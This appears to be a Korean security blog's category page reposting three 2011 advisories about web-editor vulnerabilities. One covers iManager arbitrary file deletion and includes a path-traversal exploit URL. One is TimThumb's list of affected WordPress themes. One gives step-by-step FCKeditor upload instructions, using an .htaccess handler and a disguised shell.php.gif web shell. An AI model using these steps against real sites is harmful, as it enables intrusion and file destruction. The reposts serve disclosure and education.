'위험한_친구들/코디_Editor' 카테고리의 글 목록

'위험한_친구들/코디_Editor'에 해당되는 글 3건

2011.09.18 iManager Plugin v1.2.8 (d) Remote Arbitrary File Deletion Vulnerability by bitfox
2011.08.16 Timthumb Security Vulnerability – List of Themes by bitfox
2011.08.10 FCKeditor all versian Arbitrary File Upload Vulnerability by bitfox

iManager Plugin v1.2.8 (d) Remote Arbitrary File Deletion Vulnerability

위험한_친구들/코디_Editor 2011. 9. 18. 21:46

iManager Plugin v1.2.8 에 대한 리모트 취약점이 발견되었다.

(이 에디터는 단독으로 사용될 수 있으며 플러그인으로 tinyMCE, SPAW, htmlAREA, Xinha 그리고 FCKeditor에 사용되고 있을 수 있으니 확인하여 패치하자.)  

======================================================================

/scripts/phpCrop/crop.php:

----------------------------------------------------------------------

32: if( isset($_REQUEST['s']) ) {

33:     //delete previous temp files       

34:     $matches = glob($d . '{*.jpg,*.JPG}', GLOB_BRACE);     

35:     if ( is_array ( $matches ) ) {

36:          foreach ( $matches as $fn) {

37:               @unlink($fn);

38:          }

39: }

======================================================================

Tested on: Microsoft Windows XP Professional SP3 (EN)

           Apache 2.2.14 (Win32)

           PHP 5.3.1

           MySQL 5.1.41

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

                            liquidworm gmail com

Advisory ID: ZSL-2011-5043

Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5043.php

15.09.2011

--

http://[SOME_CMS]/jscripts/tiny_mce/plugins/imanager/scripts/phpCrop/crop.php?s=1&d=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftest.txt%00

[출처] http://securityswebblog.blogspot.com/2011/09/imanager-plugin-v128-d-remote-arbitrary.html 

[주의] 본 자료는 연구용 및 학습 자료로 사용하길 바라며, 악의적인 사용시 사용자 본인에게 책임이 있음을 명시합니다.

저작자표시 비영리 변경금지

'위험한_친구들 > 코디_Editor' 카테고리의 다른 글

Timthumb Security Vulnerability – List of Themes (0)	2011.08.16
FCKeditor all versian Arbitrary File Upload Vulnerability (0)	2011.08.10

Posted by bitfox

Timthumb Security Vulnerability – List of Themes

위험한_친구들/코디_Editor 2011. 8. 16. 14:41

Timthumb에 대한 제로데이 취약점이 8월 초 공개되었다.
국내보다는 해외 사이트에서 많이 사용되고 있는 에디터의 기능으로 이미지 파일안에 코드를 입력하여 원격 제어가 가능하다.

위 사진과 같이 3천 6백만번의 다운로드가 이루어 졌을 많큼 많은 곳에서 사용중임을 추정할 수 있다.

---
sucuri.net에서 공개한 확인해야 하는 timthumb 리스트안에 관리하는 웹서버의 디렉터리는 안전한지 확인해 보자. 만일 존재한다면 기능을 제한 하거나 보안 패치된 에디터로 업데이트 하자.

[출처] http://blog.sucuri.net/2011/08/timthumb-security-vulnerability-list-of-themes-including-it.html

The Timthumb 0-day security vulnerability is generating a lot of noise and for good reason. If you have a theme that includes TimThumb, your site can be easily hacked.

Because of this, we checked the WordPress Free Themes Directory and aggregated a list of themes that include TimThumb.

If you use any of the following themes please check to see if the script is present, and make sure it is updated:

8q/scripts/timthumb.php
aerial/lib/timthumb.php
aesthete/timthumb.php
albizia/includes/timthumb.php
amphion-lite/script/timthumb.php
aqua-blue/includes/timthumb.php
aranovo/scripts/timthumb.php
arras/library/timthumb.php
arras-theme/library/timthumb.php
arthemix-bronze/scripts/timthumb.php
arthemix-green/scripts/timthumb.php
artisan/includes/timthumb.php
a-simple-business-theme/scripts/timthumb.php
a-supercms/timthumb.php
aureola/scripts/timthumb.php
aurorae/timthumb.php
autofashion/thumb.php
automotive-blog-theme/Quick Cash Auto/timthumb.php
automotive-blog-theme/timthumb.php
bikes/thumb.php
black_eve/timthumb.php
blex/scripts/timthumb.php
bloggnorge-a1/scripts/timthumb.php
blogified/timthumb.php
blue-corporate-hyve-theme/timthumb.php
bluemag/library/timthumb.php
blue-news/scripts/timthumb.php
bombax/includes/timthumb.php
breakingnewz/timthumb.php
brightsky/scripts/timthumb.php
brochure-melbourne/includes/timthumb.php
business-turnkey/assets/js/timthumb.php
calotropis/includes/timthumb.php
coffee-lite/thumb.php
comet/scripts/timthumb.php
conceditor-wp-strict/scripts/timthumb.php
constructor/layouts/thumb.php
constructor/libs/timthumb.php
constructor/timthumb.php
coverht-wp/scripts/timthumb.php
cover-wp/scripts/timthumb.php
dark-dream-media/timthumb.php
deep-blue/timthumb.php
delicate/thumb.php
diamond-ray/thumb.php
dieselclothings/thumb.php
digitalblue/thumb.php
dimenzion/timthumb.php
epione/script/timthumb.php
evr-green/scripts/timthumb.php
famous/megaframe/megapanel/inc/upload.php
famous/timthumb.php
fashion-style/thumb.php
featuring/timthumb.php
fliphoto/timthumb.php
flix/timthumb.php
fordreporter/scripts/thumb.php
freeside/thumb.php
fresh-blu/scripts/timthumb.php
go-green/modules/timthumb.php
granite-lite/scripts/timthumb.php
greydove/timthumb.php
greyzed/functions/efrog/lib/timthumb.php
gunungkidul/thumb.php
heartspotting-beta/thumb.php
heli-1-wordpress-theme/images/timthumb.php
ideatheme/timthumb.php
impressio/timthumb/timthumb.php
introvert/thumb.php
inuit-types/thumb.php
isotherm-news/thumb.php
iwana-v10/timthumb.php
jambo/thumb.php
jcblackone/thumb.php
kratalistic/thumb.php
life-style-free/thumb.php
likehacker/timthumb.php
litepress/scripts/timthumb.php
loganpress-premium-theme-1/thumb.php
magazine-basic/thumb.php
magup/timthumb.php
make-money-online-theme-1/scripts/timthumb.php
make-money-online-theme-2/scripts/timthumb.php
make-money-online-theme-3/scripts/timthumb.php
make-money-online-theme-4/scripts/timthumb.php
make-money-online-theme/scripts/timthumb.php
meintest/layouts/thumb.php
mobilephonecomparision/thumb.php
moi-magazine/timthumb.php
my-heli/images/timthumb.php
mymag/timthumb.php
mystique/extensions/auto-thumb/timthumb.php
nash/theme-assets/php/timthumb.php
neofresh/timthumb.php
neo_wdl/includes/extensions/thumb.php
new-green-natural-living-ngnl/scripts/timthumb.php
newspress/thumb.php
pearlie/scripts/timthumb.php
pico/scripts/timthumb.php
postage-sydney/includes/timthumb.php
premium-violet/thumb.php
probluezine/timthumb.php
pronto/cjl/pronto/uploadify/check.php
pronto/cjl/pronto/uploadify/uploadify.php
r755/thumb.php
regal/timthumb.php
shaan/timthumb.php
shadow-block/thumb.php
shadow/timthumb.php
simple-but-great/timthumb.php
simplenews_premium/scripts/timthumb.php
simple-red-theme/timthumb.php
simple-tabloid/thumb.php
simplewhite/timthumb.php
slidette/timThumb/timthumb.php
snowblind_colbert/thumb.php
snowblind/thumb.php
spotlight/timthumb.php
squeezepage/timthumb.php
standout/thumb.php
suffusion/timthumb.php
swift/includes/thumb.php
swift/includes/timthumb.php
swift/timthumb.php
techozoic-fluid/options/thumb.php
the_dark_os/tools/timthumb.php
themetiger-fashion/thumb.php
theory/thumb.php
the-theme/core/libs/thumbnails/thumb.php
thrillingtheme/thumb.php
tm-theme/js/timthumb.php
totallyred/scripts/timthumb.php
travelogue-theme/scripts/timthumb.php
true-blue-theme/timthumb.php
ttnews-theme/timthumb.php
twittplus/scripts/timthumb.php
typographywp/timthumb.php
ugly/timthumb.php
unity/timthumb.php
versitility/timthumb.php
vibefolio-teaser-10/scripts/timthumb.php
vina/thumb.php
whitemag/script/thumb.php
wpapi/thumb.php
wpbus-d4/includes/timthumb.php
wp-creativix/scripts/timthumb.php
wp-newsmagazine/scripts/timthumb.php
wp-perfect/js/timthumb.php
wp-premium-orange/timthumb.php
xiando-one/thumb.php
zcool-like/timthumb.php
zcool-like/uploadify.php

Caution: This is not a full list of every theme in the directory that may include TimThumb, just a good start. Even if your theme is not found on this list it is a good idea to do a thorough review for the script, and not a bad thought to contact the theme author.

Note: We only listed the free themes found in the WordPress Free Themes Directory SVN, there are probably many more themes that include TimThumb in the premium theme market. Make sure to check with your vendor to ensure the vulnerability has been fixed if they include the script.

Edit: Thanks to @ottodestruct for clarifying that not all of these themes are approved and/or available to the public via the WordPress Free Themes Directory. Although they are currently found in the theme repository, they are not all publicly available for download.

취약점 시연 동영상

This video is a demonstration of the TimThumbCraft tool, which in short creates an image with appended PHP code, directly usable with the TimThumb Vulnerability, that exists in many Wordpress themes.

This video, tool AND blog entry were made for Ethical and Educational Purposes Only!
직역 : 이 비디오, 툴 그리고 블로그의 모든 내용은 윤리적이고 교육용을 위한 목적으로만 제안합니다.

저작자표시 비영리 변경금지

'위험한_친구들 > 코디_Editor' 카테고리의 다른 글

iManager Plugin v1.2.8 (d) Remote Arbitrary File Deletion Vulnerability (0)	2011.09.18
FCKeditor all versian Arbitrary File Upload Vulnerability (0)	2011.08.10

Posted by bitfox

FCKeditor all versian Arbitrary File Upload Vulnerability

위험한_친구들/코디_Editor 2011. 8. 10. 11:27

In The Name Of GOD  

[+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability 

[+] Date: 2011 

[+] script:http://sourceforge.net/projects/fckeditor/ 

[+] Author  : pentesters.ir 

[+] Website : WwW.PenTesters.IR 

--------------------------------------------------------- 

1.create a htaccess file: 

code:  

<FilesMatch "_php.gif"> 

SetHandler application/x-httpd-php 

</FilesMatch> 

2.Now upload this htaccess with FCKeditor. 

http://target.com/FCKeditor/editor/filemanager/upload/test.html 

http://target.com/FCKeditor/editor/filemanager/browser/default/connectors/test.html 

---------------------------------------------------------------------------------------------- 

3.Now upload shell.php.gif with FCKeditor. 

4.After upload shell.php.gif, the name "shell.php.gif" change to "shell_php.gif" automatically. 

5.http://target.com/anything/shell_php.gif 

6.Now shell is available from server.
 
+++++++++++++++
[출처] http://www.exploit-db.com/exploits/17644
위 내용의 포인트는 htaccess file이 1번처럼 셋팅되어야 한다는거죠.-0-;

저작자표시 비영리 변경금지

'위험한_친구들 > 코디_Editor' 카테고리의 다른 글

iManager Plugin v1.2.8 (d) Remote Arbitrary File Deletion Vulnerability (0)	2011.09.18
Timthumb Security Vulnerability – List of Themes (0)	2011.08.16

Posted by bitfox

◀ 이전페이지 1 다음페이지 ▶

暗行御史

'위험한_친구들/코디_Editor'에 해당되는 글 3건

iManager Plugin v1.2.8 (d) Remote Arbitrary File Deletion Vulnerability

'위험한_친구들 > 코디_Editor' 카테고리의 다른 글

Timthumb Security Vulnerability – List of Themes

'위험한_친구들 > 코디_Editor' 카테고리의 다른 글

FCKeditor all versian Arbitrary File Upload Vulnerability

'위험한_친구들 > 코디_Editor' 카테고리의 다른 글

최근에 올라온 글

공지사항

글 보관함

최근에 받은 트랙백

카테고리

달력

링크

티스토리툴바